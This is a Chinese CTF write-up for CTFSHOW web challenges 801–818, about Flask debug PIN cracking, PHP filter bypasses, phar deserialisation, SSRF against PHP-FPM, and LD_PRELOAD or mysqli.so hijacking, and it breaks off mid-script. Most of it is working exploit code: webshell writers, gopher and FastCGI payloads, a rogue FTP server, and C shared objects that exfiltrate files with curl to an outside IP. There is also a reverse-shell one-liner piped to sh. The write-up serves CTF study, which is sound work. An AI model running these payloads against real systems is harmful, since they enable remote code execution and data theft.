当前位置:   article > 正文

【Web】CTFSHOW 常用姿势刷题记录(全)_ctfshow全

ctfshow全

目录

web801

web802

web803

web804

web805

web806

web807

法一:反弹shell

法二:vps外带

web808

web809

web810

web811

web812

web813

web814

web815

web816

web817

web818

web819

web820

web821

web822

web823

web824

web825

web826

web827

web828

web829

web830

web831


web801

flask算PIN,这篇文章有写:https://z3r4y.blog.csdn.net/article/details/134494238

初始界面:

访问/console,开启了debug模式

 /file?filename=suibian,随便传个值让flask报错,看到app路径为

/usr/local/lib/python3.8/site-packages/flask/app.py

/file?filename=/sys/class/net/eth0/address,读getNode得到uuid

 0242ac0c9f9c,十六进制再转十进制

2485377605532

/file?filename=/proc/sys/kernel/random/boot_id

225374fa-04bc-4346-9f39-48fa82829ca9 

/file?filename=/proc/self/cgroup 

 b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

二者拼接一下得到machine_id

225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

用下面的脚本算pin

  1. import hashlib
  2. from itertools import chain
  3. def getPIN(public_bits, private_bits):
  4. rv = None
  5. num = None
  6. h = hashlib.sha1()
  7. for bit in chain(public_bits, private_bits):
  8. if not bit:
  9. continue
  10. if isinstance(bit, str):
  11. bit = bit.encode("utf-8")
  12. h.update(bit)
  13. h.update(b"cookiesalt")
  14. cookie_name = f"__wzd{h.hexdigest()[:20]}"
  15. # If we need to generate a pin we salt it a bit more so that we don't
  16. # end up with the same value and generate out 9 digits
  17. if num is None:
  18. h.update(b"pinsalt")
  19. num = f"{int(h.hexdigest(), 16):09d}"[:9]
  20. # Format the pincode in groups of digits for easier remembering if
  21. # we don't have a result yet.
  22. if rv is None:
  23. for group_size in 5, 4, 3:
  24. if len(num) % group_size == 0:
  25. rv = "-".join(
  26. num[x: x + group_size].rjust(group_size, "0")
  27. for x in range(0, len(num), group_size)
  28. )
  29. break
  30. else:
  31. rv = num
  32. return rv, cookie_name
  33. if __name__ == "__main__":
  34. public_bits = [
  35. 'root',
  36. 'flask.app',
  37. 'Flask',
  38. '/usr/local/lib/python3.8/site-packages/flask/app.py'
  39. ]
  40. private_bits = [
  41. '2485377605532',
  42. '225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d'
  43. ]
  44. PIN = getPIN(public_bits, private_bits)
  45. print(PIN)

访问/console,输入pin值,拿到交互式console

直接代码执行就可

 web802

无字母数字命令执行,可以看看这篇文章:https://z3r4y.blog.csdn.net/article/details/134338909

只ban了字母数字,不要太友好

最方便的就是取反

  1. <?php
  2. function negateRce(){
  3. fwrite(STDOUT,'[+]your function: ');
  4. $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  5. fwrite(STDOUT,'[+]your command: ');
  6. $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  7. echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
  8. }
  9. negateRce();

web803

phar文件包含

 没有文件上传点,只能强制文件上传了,发现会立刻删除,走条件竞争有点哈皮,题目里给了写文件的else分支,利用即可,先写恶意文件,再包含恶意文件。

  1. <?php
  2. $phar = new Phar("test.phar");
  3. $phar->startBuffering();
  4. $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  5. $phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
  6. $phar->stopBuffering();
  7. ?>
  1. import requests
  2. url="http://ae901965-37ad-47cb-b923-7be4020cf94a.challenge.ctf.show/"
  3. file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
  4. data={'file':'phar:///tmp/a.phar/a','content':'suibian','1':'system("cat f*");'}
  5. requests.post(url,data=file)
  6. r=requests.post(url,data=data)
  7. print(r.text)

web804

phar反序列化,可以看看这两篇文章:

https://z3r4y.blog.csdn.net/article/details/134479335

【Web】Phar反序列化相关例题wp_newstarctf pharone-CSDN博客

 file_exists触发反序列化

  1. <?php
  2. class hacker{
  3. public $code;
  4. public function __destruct(){
  5. eval($this->code);
  6. }
  7. }
  8. $a=new hacker();
  9. $a->code="system('cat f*');";
  10. $phar = new Phar("test.phar"); //后缀名必须为phar
  11. $phar->startBuffering();
  12. $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
  13. $phar->setMetadata($a); //将自定义的meta-data存入manifest
  14. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
  15. $phar->stopBuffering();
  16. ?><?php
  1. import requests
  2. url="http://5d5c1d43-55e2-45d0-877a-ef8da113932e.challenge.ctf.show/"
  3. file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
  4. data={'file':'phar:///tmp/a.phar','content':'suibian'}
  5. requests.post(url,data=file)
  6. r=requests.post(url,data=data)
  7. print(r.text)

web805

open_basedir绕过 可以看看这篇文章:

从0学习bypass open_basedir姿势 - 先知社区

先看下函数禁用

1=phpinfo();

可以看到命令执行的函数都被ban了,那读文件可以用readfile函数

 payload:

1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');

web806

php无参RCE,可以看这篇文章:https://xz.aliyun.com/t/9360

payload:

?code=eval(end(current(get_defined_vars())));&Z3r4y=system('cat /ctfshowflag');

web807

法一:反弹shell

推荐一个网站:https://your-shell.com/

傻瓜型反弹shell,我行你也行

payload:

?url=https://your-shell.com/124.222.136.33:1337 | sh

(先在自己vps开启1337端口监听)

贴出执行:

法二:vps外带

?url=https://;curl http://124.222.136.33:1338?flag=`cat /*`

注意一些特殊符号带不出来

web808

临时文件包含,做过临时文件包含的师傅都知道复现的难度有多大,所以建议直接session文件包含

 用下面脚本打就可

  1. import requests
  2. import threading
  3. session = requests.session()
  4. sess = "ctfshow"
  5. file_name = "/var/www/html/1.php"
  6. file_content = '<?php eval($_POST[1]);?>'
  7. url = "http://3fd00eb3-48d8-4a13-99e6-4dcced70454f.challenge.ctf.show/"
  8. data = {
  9. "PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
  10. }
  11. file = {
  12. 'file': 'ctfshow'
  13. }
  14. cookies = {
  15. 'PHPSESSID': sess
  16. }
  17. def write():
  18. while True:
  19. r = session.post(url=url, data=data, files=file, cookies=cookies)
  20. def read():
  21. while True:
  22. r = session.post(url=url + "?file=/tmp/sess_ctfshow")
  23. if "success" in r.text:
  24. print("shell 地址为:" + url + "1.php")
  25. exit()
  26. if __name__ == "__main__":
  27. event = threading.Event()
  28. with requests.session() as session:
  29. for i in range(1, 30):
  30. threading.Thread(target=write).start()
  31. for i in range(1, 30):
  32. threading.Thread(target=read).start()
  33. event.set()

web809

pear文件包含/RCE

都用bp发包

可以在/tmp目录下写文件

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

因为tmp是根目录下的,只能配合文件包含来利用

  1. ?file=/tmp/test.php
  2. cmd=system('cat+/f*');

 也可以直接在/var/www/html下写文件

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

然后直接访问/test.php即可,方便一点

web810

SSRF打PHP-FPM,就是SSRF打中间件的套路

PHP-FPM 是基于 FastCGI 协议的 PHP 进程管理器

相关知识可以看这篇文章:

https://xz.aliyun.com/t/9544

直接gopherus乱打

_后内容再url编码一次

?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

web811

file_put_contents打PHP-FPM,可以看看这篇文章:PHP-FPM攻击详解 - 跳跳糖

这题没有写文件的权限,可以考虑ftp打php-fpm

按部就班复现就行,但好像不能反弹shell,可以考虑信息外带

 起个恶意ftp服务器,把恶意数据流转发到127.0.0.1:9000

  1. import socket
  2. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3. s.bind(('0.0.0.0',1338)) #端口可改
  4. s.listen(1)
  5. conn, addr = s.accept()
  6. conn.send(b'220 welcome\n')
  7. #Service ready for new user.
  8. #Client send anonymous username
  9. #USER anonymous
  10. conn.send(b'331 Please specify the password.\n')
  11. #User name okay, need password.
  12. #Client send anonymous password.
  13. #PASS anonymous
  14. conn.send(b'230 Login successful.\n')
  15. #User logged in, proceed. Logged out if appropriate.
  16. #TYPE I
  17. conn.send(b'200 Switching to Binary mode.\n')
  18. #Size /
  19. conn.send(b'550 Could not get the file size.\n')
  20. #EPSV (1)
  21. conn.send(b'150 ok\n')
  22. #PASV
  23. conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
  24. conn.send(b'150 Permission denied.\n')
  25. #QUIT
  26. conn.send(b'221 Goodbye.\n')
  27. conn.close()

最终payload:

?file=ftp://124.222.136.33:1338/test&content=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00a%04%00%3C%3Fphp%20system%28%27curl%20http%3A//124.222.136.33%3A1337%3Fflag%3D%60cat%20/%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

web812

PHP-FPM未授权

脚本:

  1. import socket
  2. import random
  3. import argparse
  4. import sys
  5. from io import BytesIO
  6. # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
  7. PY2 = True if sys.version_info.major == 2 else False
  8. def bchr(i):
  9. if PY2:
  10. return force_bytes(chr(i))
  11. else:
  12. return bytes([i])
  13. def bord(c):
  14. if isinstance(c, int):
  15. return c
  16. else:
  17. return ord(c)
  18. def force_bytes(s):
  19. if isinstance(s, bytes):
  20. return s
  21. else:
  22. return s.encode('utf-8', 'strict')
  23. def force_text(s):
  24. if issubclass(type(s), str):
  25. return s
  26. if isinstance(s, bytes):
  27. s = str(s, 'utf-8', 'strict')
  28. else:
  29. s = str(s)
  30. return s
  31. class FastCGIClient:
  32. """A Fast-CGI Client for Python"""
  33. # private
  34. __FCGI_VERSION = 1
  35. __FCGI_ROLE_RESPONDER = 1
  36. __FCGI_ROLE_AUTHORIZER = 2
  37. __FCGI_ROLE_FILTER = 3
  38. __FCGI_TYPE_BEGIN = 1
  39. __FCGI_TYPE_ABORT = 2
  40. __FCGI_TYPE_END = 3
  41. __FCGI_TYPE_PARAMS = 4
  42. __FCGI_TYPE_STDIN = 5
  43. __FCGI_TYPE_STDOUT = 6
  44. __FCGI_TYPE_STDERR = 7
  45. __FCGI_TYPE_DATA = 8
  46. __FCGI_TYPE_GETVALUES = 9
  47. __FCGI_TYPE_GETVALUES_RESULT = 10
  48. __FCGI_TYPE_UNKOWNTYPE = 11
  49. __FCGI_HEADER_SIZE = 8
  50. # request state
  51. FCGI_STATE_SEND = 1
  52. FCGI_STATE_ERROR = 2
  53. FCGI_STATE_SUCCESS = 3
  54. def __init__(self, host, port, timeout, keepalive):
  55. self.host = host
  56. self.port = port
  57. self.timeout = timeout
  58. if keepalive:
  59. self.keepalive = 1
  60. else:
  61. self.keepalive = 0
  62. self.sock = None
  63. self.requests = dict()
  64. def __connect(self):
  65. self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  66. self.sock.settimeout(self.timeout)
  67. self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  68. # if self.keepalive:
  69. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
  70. # else:
  71. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
  72. try:
  73. self.sock.connect((self.host, int(self.port)))
  74. except socket.error as msg:
  75. self.sock.close()
  76. self.sock = None
  77. print(repr(msg))
  78. return False
  79. return True
  80. def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
  81. length = len(content)
  82. buf = bchr(FastCGIClient.__FCGI_VERSION) \
  83. + bchr(fcgi_type) \
  84. + bchr((requestid >> 8) & 0xFF) \
  85. + bchr(requestid & 0xFF) \
  86. + bchr((length >> 8) & 0xFF) \
  87. + bchr(length & 0xFF) \
  88. + bchr(0) \
  89. + bchr(0) \
  90. + content
  91. return buf
  92. def __encodeNameValueParams(self, name, value):
  93. nLen = len(name)
  94. vLen = len(value)
  95. record = b''
  96. if nLen < 128:
  97. record += bchr(nLen)
  98. else:
  99. record += bchr((nLen >> 24) | 0x80) \
  100. + bchr((nLen >> 16) & 0xFF) \
  101. + bchr((nLen >> 8) & 0xFF) \
  102. + bchr(nLen & 0xFF)
  103. if vLen < 128:
  104. record += bchr(vLen)
  105. else:
  106. record += bchr((vLen >> 24) | 0x80) \
  107. + bchr((vLen >> 16) & 0xFF) \
  108. + bchr((vLen >> 8) & 0xFF) \
  109. + bchr(vLen & 0xFF)
  110. return record + name + value
  111. def __decodeFastCGIHeader(self, stream):
  112. header = dict()
  113. header['version'] = bord(stream[0])
  114. header['type'] = bord(stream[1])
  115. header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
  116. header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
  117. header['paddingLength'] = bord(stream[6])
  118. header['reserved'] = bord(stream[7])
  119. return header
  120. def __decodeFastCGIRecord(self, buffer):
  121. header = buffer.read(int(self.__FCGI_HEADER_SIZE))
  122. if not header:
  123. return False
  124. else:
  125. record = self.__decodeFastCGIHeader(header)
  126. record['content'] = b''
  127. if 'contentLength' in record.keys():
  128. contentLength = int(record['contentLength'])
  129. record['content'] += buffer.read(contentLength)
  130. if 'paddingLength' in record.keys():
  131. skiped = buffer.read(int(record['paddingLength']))
  132. return record
  133. def request(self, nameValuePairs={}, post=''):
  134. if not self.__connect():
  135. print('connect failure! please check your fasctcgi-server !!')
  136. return
  137. requestId = random.randint(1, (1 << 16) - 1)
  138. self.requests[requestId] = dict()
  139. request = b""
  140. beginFCGIRecordContent = bchr(0) \
  141. + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
  142. + bchr(self.keepalive) \
  143. + bchr(0) * 5
  144. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
  145. beginFCGIRecordContent, requestId)
  146. paramsRecord = b''
  147. if nameValuePairs:
  148. for (name, value) in nameValuePairs.items():
  149. name = force_bytes(name)
  150. value = force_bytes(value)
  151. paramsRecord += self.__encodeNameValueParams(name, value)
  152. if paramsRecord:
  153. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
  154. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
  155. if post:
  156. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
  157. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
  158. self.sock.send(request)
  159. self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
  160. self.requests[requestId]['response'] = b''
  161. return self.__waitForResponse(requestId)
  162. def __waitForResponse(self, requestId):
  163. data = b''
  164. while True:
  165. buf = self.sock.recv(512)
  166. if not len(buf):
  167. break
  168. data += buf
  169. data = BytesIO(data)
  170. while True:
  171. response = self.__decodeFastCGIRecord(data)
  172. if not response:
  173. break
  174. if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
  175. or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  176. if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
  177. self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
  178. if requestId == int(response['requestId']):
  179. self.requests[requestId]['response'] += response['content']
  180. if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
  181. self.requests[requestId]
  182. return self.requests[requestId]['response']
  183. def __repr__(self):
  184. return "fastcgi connect host:{} port:{}".format(self.host, self.port)
  185. if __name__ == '__main__':
  186. parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
  187. parser.add_argument('host', help='Target host, such as 127.0.0.1')
  188. parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
  189. parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
  190. parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)
  191. args = parser.parse_args()
  192. client = FastCGIClient(args.host, args.port, 3, 0)
  193. params = dict()
  194. documentRoot = "/"
  195. uri = args.file
  196. content = args.code
  197. params = {
  198. 'GATEWAY_INTERFACE': 'FastCGI/1.0',
  199. 'REQUEST_METHOD': 'POST',
  200. 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
  201. 'SCRIPT_NAME': uri,
  202. 'QUERY_STRING': '',
  203. 'REQUEST_URI': uri,
  204. 'DOCUMENT_ROOT': documentRoot,
  205. 'SERVER_SOFTWARE': 'php/fcgiclient',
  206. 'REMOTE_ADDR': '127.0.0.1',
  207. 'REMOTE_PORT': '9985',
  208. 'SERVER_ADDR': '127.0.0.1',
  209. 'SERVER_PORT': '80',
  210. 'SERVER_NAME': "localhost",
  211. 'SERVER_PROTOCOL': 'HTTP/1.1',
  212. 'CONTENT_TYPE': 'application/text',
  213. 'CONTENT_LENGTH': "%d" % len(content),
  214. 'PHP_VALUE': 'auto_prepend_file = php://input',
  215. 'PHP_ADMIN_VALUE': 'allow_url_include = On'
  216. }
  217. response = client.request(params, content)
  218. print(force_text(response))

最终payload:

python ftpexp.py -c "<?php system('cat /f*');?>" -p 28160 pwn.challenge.ctf.show /usr/local/lib/php/System.php

web813

劫持mysqli

利用条件:

1.拓展目录明确且可写

2.能够载入我们的恶意so文件(重启php-fpm或能使用php命令行)

3.有调用我们自定义函数的代码

通过将常用的函数、类和数据打包成.so 文件,不同的程序可以共享这些代码,避免重复编写和维护相同的代码逻辑,提高了代码的重用性。

php -r 是 PHP 命令行工具的一个参数,用于在命令行中直接执行 PHP 代码而不需要编写独立的 PHP 脚本文件。通过 php -r 参数,可以方便快捷地在命令行中执行一行简单的 PHP 代码。

使用格式为:php -r 'php code here'

注册函数找不到就去拓展目录找so文件,调用ctfshow函数的时候就会去so文件里面找,这题就是mysqli.so了,而mysqli.so已经被我们所覆写,从而执行恶意代码

(关于为啥要用命令行,因为命令行就是每次将拓展载入,使用,销毁)

我们接下来的工作只要劫持(改写)被调用的so文件即可,这一题就是mysqli.so

phpinfo看一眼路径

我用的php源码是7.3.22的,用其自带的ext_skel.php来生成so文件

具体流程如下:

  1. php ext_skel.php --ext ctfshow --std
  2. cd ctfshow
  3. 修改ctfshow.c的源码
  4. phpize
  5. ./configure
  6. make && make install

贴出ctfshow.c(注意这里的system是c语言的system,而非php的system,哪怕system被disable_function禁用了也不受影响)

  1. #ifdef HAVE_CONFIG_H
  2. # include "config.h"
  3. #endif
  4. #include "php.h"
  5. #include "ext/standard/info.h"
  6. #include "php_ctfshow.h"
  7. /* For compatibility with older PHP versions */
  8. #ifndef ZEND_PARSE_PARAMETERS_NONE
  9. #define ZEND_PARSE_PARAMETERS_NONE() \
  10. ZEND_PARSE_PARAMETERS_START(0, 0) \
  11. ZEND_PARSE_PARAMETERS_END()
  12. #endif
  13. /* {{{ void ctfshow_test1()
  14. */
  15. PHP_FUNCTION(ctfshow)
  16. {
  17. ZEND_PARSE_PARAMETERS_NONE();
  18. system("curl 124.222.136.33:1337?flag=`cat /f*`");
  19. }
  20. /* }}} */
  21. /* {{{ string ctfshow_test2( [ string $var ] )
  22. */
  23. PHP_FUNCTION(ctfshow_test2)
  24. {
  25. char *var = "World";
  26. size_t var_len = sizeof("World") - 1;
  27. zend_string *retval;
  28. ZEND_PARSE_PARAMETERS_START(0, 1)
  29. Z_PARAM_OPTIONAL
  30. Z_PARAM_STRING(var, var_len)
  31. ZEND_PARSE_PARAMETERS_END();
  32. retval = strpprintf(0, "Hello %s", var);
  33. RETURN_STR(retval);
  34. }
  35. /* }}}*/
  36. /* {{{ PHP_RINIT_FUNCTION
  37. */
  38. PHP_RINIT_FUNCTION(ctfshow)
  39. {
  40. #if defined(ZTS) && defined(COMPILE_DL_CTFSHOW)
  41. ZEND_TSRMLS_CACHE_UPDATE();
  42. #endif
  43. return SUCCESS;
  44. }
  45. /* }}} */
  46. /* {{{ PHP_MINFO_FUNCTION
  47. */
  48. PHP_MINFO_FUNCTION(ctfshow)
  49. {
  50. php_info_print_table_start();
  51. php_info_print_table_header(2, "ctfshow support", "enabled");
  52. php_info_print_table_end();
  53. }
  54. /* }}} */
  55. /* {{{ arginfo
  56. */
  57. ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test1, 0)
  58. ZEND_END_ARG_INFO()
  59. ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test2, 0)
  60. ZEND_ARG_INFO(0, str)
  61. ZEND_END_ARG_INFO()
  62. /* }}} */
  63. /* {{{ ctfshow_functions[]
  64. */
  65. static const zend_function_entry ctfshow_functions[] = {
  66. PHP_FE(ctfshow, arginfo_ctfshow_test1)
  67. PHP_FE(ctfshow_test2, arginfo_ctfshow_test2)
  68. PHP_FE_END
  69. };
  70. /* }}} */
  71. /* {{{ ctfshow_module_entry
  72. */
  73. zend_module_entry ctfshow_module_entry = {
  74. STANDARD_MODULE_HEADER,
  75. "ctfshow", /* Extension name */
  76. ctfshow_functions, /* zend_function_entry */
  77. NULL, /* PHP_MINIT - Module initialization */
  78. NULL, /* PHP_MSHUTDOWN - Module shutdown */
  79. PHP_RINIT(ctfshow), /* PHP_RINIT - Request initialization */
  80. NULL, /* PHP_RSHUTDOWN - Request shutdown */
  81. PHP_MINFO(ctfshow), /* PHP_MINFO - Module info */
  82. PHP_CTFSHOW_VERSION, /* Version */
  83. STANDARD_MODULE_PROPERTIES
  84. };
  85. /* }}} */
  86. #ifdef COMPILE_DL_CTFSHOW
  87. # ifdef ZTS
  88. ZEND_TSRMLS_CACHE_DEFINE()
  89. # endif
  90. ZEND_GET_MODULE(ctfshow)
  91. #endif
  92. /*
  93. * Local variables:
  94. * tab-width: 4
  95. * c-basic-offset: 4
  96. * End:
  97. */

要把二进制文件流写入靶机mysqli.so文件中,写脚本即可

  1. import requests
  2. url="http://7f163334-7227-417a-b019-05dd12755970.challenge.ctf.show/"
  3. data={'file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()}
  4. r1 = requests.post(url+'?a=write',data=data)
  5. print(r1.content)
  6. r2 = requests.get(url+'?a=run')
  7. print(r2.content)

监听,外带

web814

劫持getuid 

利用条件:

1.有文件写入点 2.可执行putenv命令 3.执行了可以生成新进程的函数

php中可以产生新进程的函数:

1.命令执行类:system shell_exec exec passthru

2.进程类:proc_open popen pcntl

3.外部程序调用类:mail imap_mail

4.拓展缺陷类:imagick      

 关于LD_PRELOAD:LD_PRELOAD 是一个用于动态链接器的环境变量,它可以指定一个共享库(通常是一个预加载库),在程序启动时优先加载该库,覆盖系统默认的同名函数。LD_PRELOAD 的作用主要是用来干预程序的动态链接过程,通过提供自定义的共享库,可以重定义或增强程序中的特定函数的行为。

关于getuid:在php中,如果要启动一个新的进程,那么这个进程会调用getuid函数,如果通过环境变量LD_PRELOAD指定恶意的so文件,那么只要新建进程,就会执行我们的恶意代码。这里的system就起到了新建进程的作用。

web814.c

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. void payload(){
  5. system("curl http://124.222.136.33:1337?flag=`cat /f*`");
  6. }
  7. int getuid()
  8. {
  9. if(getenv("LD_PRELOAD")==NULL){ return 0;}
  10. unsetenv("LD_PRELOAD");
  11. payload();
  12. }

依次执行,生成恶意so文件

  1. gcc -c -fPIC web814.c -o exp
  2. gcc --share exp -o exp.so

写脚本(添加LD_PRELOAD加载恶意so文件覆写getuid)

  1. import requests
  2. url="http://1bf3813f-c8e6-4e42-9732-07e5b46c496e.challenge.ctf.show/"
  3. data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
  4. requests.post(url+'?a=write',data=data)
  5. requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')

监听,外带

web815

劫持构造器

在 C 语言中,attribute((constructor)) 是一种扩展修饰符,用于指定一个函数作为在程序启动时自动执行的构造函数。当使用了这个修饰符之后,这个函数会在程序运行之前被自动调用,用于执行一些初始化操作。

使用 attribute((constructor)) 修饰的函数会在 main 函数执行之前被调用,并且可以有多个这样的构造函数,它们的调用顺序取决于编译器和链接器的实现。

也就是说只要启动新进程,就会统一调用这个恶意构造函数,比web814更通用,原理基本一致。

这里mail()起到了新建进程的作用,直接打LD_PRELOAD

web815.c

  1. #define _GNU_SOURCE
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. extern char** environ;
  6. __attribute__ ((__constructor__)) void hack(void)
  7. {
  8. unsetenv("LD_PRELOAD");
  9. system("curl http://124.222.136.33:1337?flag=`cat /f*`");
  10. }

 生成恶意so文件

gcc -c -fPIC web815.c -o exp&&gcc --share exp -o exp.so

拿脚本打

  1. import requests
  2. url="http://9049c4b6-7b93-431d-a82b-907f48363ee1.challenge.ctf.show/"
  3. data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
  4. requests.post(url+'?a=write',data=data)
  5. requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')

监听,外带

 

web816

临时文件利用

so文件拓展是system新建进程触发的,原理和上题一样,但用的是临时文件上传的方式写文件(这题/tmp目录有写文件的权限,所以不需要条件竞争)

关于这里为啥是[2]?因为如果tmp目录为空,第一个是.目录,第二个是..目录,第三个元素就是我们上传的临时文件名

用的还是web815的so文件

  1. import requests
  2. url="http://d232d316-e893-4ab6-8525-726550153e15.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
  3. file={'file':open('exp.so','rb').read()}
  4. res=requests.post(url,files=file)

监听,外带

web817

题目源码

  1. $file = $_GET['file'];
  2. if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
  3. shell_exec(shell_exec("cat $file"));
  4. }

正则意思是匹配以斜杠开头,后跟一个或多个字母数字字符和斜杠的字符串

然后无回显执行一个文件的内容

这题考的是nginx的body缓存机制,恶意so文件如果字节数小于16K,我们可以手工膨胀到16K以上,在恶意so文件加入无关字节,有可能将我们的恶意so文件通过缓存文件形式暂时保留。
在上传文件被删除后,还继续进行了修改和访问,可以通过访问/proc/pid/fd/xxx访问被删除的文件
可以一边post传数据,一边读fd下文件

可以参考这篇文章:LFI to RCE – AndyNoel's Blog

默认php的执行用户名为www-data

脚本:

  1. import threading
  2. import socket
  3. import re
  4. port= 28121
  5. s=socket.socket()
  6. s.connect(('pwn.challenge.ctf.show',port))
  7. s.send(f'''GET / HTTP/1.1
  8. Host:127.0.0.1
  9. '''.encode())
  10. data=s.recv(1024).decode()
  11. s.close()
  12. pid = re.findall('(.*?) www-data',data)[0].strip()
  13. print(pid)
  14. con="curl http://124.222.136.33:1337?`cat /f*`;"+'0'*1024*500
  15. l = len(con)
  16. def upload():
  17. while True:
  18. s=socket.socket()
  19. s.connect(('pwn.challenge.ctf.show',port))
  20. x=f'''POST / HTTP/1.1
  21. Host: 127.0.0.1
  22. Content-Length: {l}
  23. Content-Type: application/x-www-form-urlencoded
  24. Connection: close
  25. {con}
  26. '''.encode()
  27. s.send(x)
  28. s.close()
  29. def bruter():
  30. while True:
  31. for fd in range(3,40):
  32. print(fd)
  33. s=socket.socket()
  34. s.connect(('pwn.challenge.ctf.show',port))
  35. s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
  36. Host: 127.0.0.1
  37. Connection: close
  38. '''.encode())
  39. print(s.recv(2048).decode())
  40. s.close()
  41. for i in range(30):
  42. t = threading.Thread(target=upload)
  43. t.start()
  44. for j in range(30):
  45. a = threading.Thread(target=bruter)
  46. a.start()

监听,外带

web818

题目代码

  1. $env = $_GET['env'];
  2. if(isset($env)){
  3. putenv($env);
  4. system("echo ctfshow");
  5. }else{
  6. system("ps aux");
  7. }
  8. ···

这题考的是利用nginx的body缓存配合LD_PRELOAD实现恶意so文件的代码执行,用的还是web815的so文件

脚本

  1. import threading
  2. import socket
  3. import re
  4. port= 28151
  5. s=socket.socket()
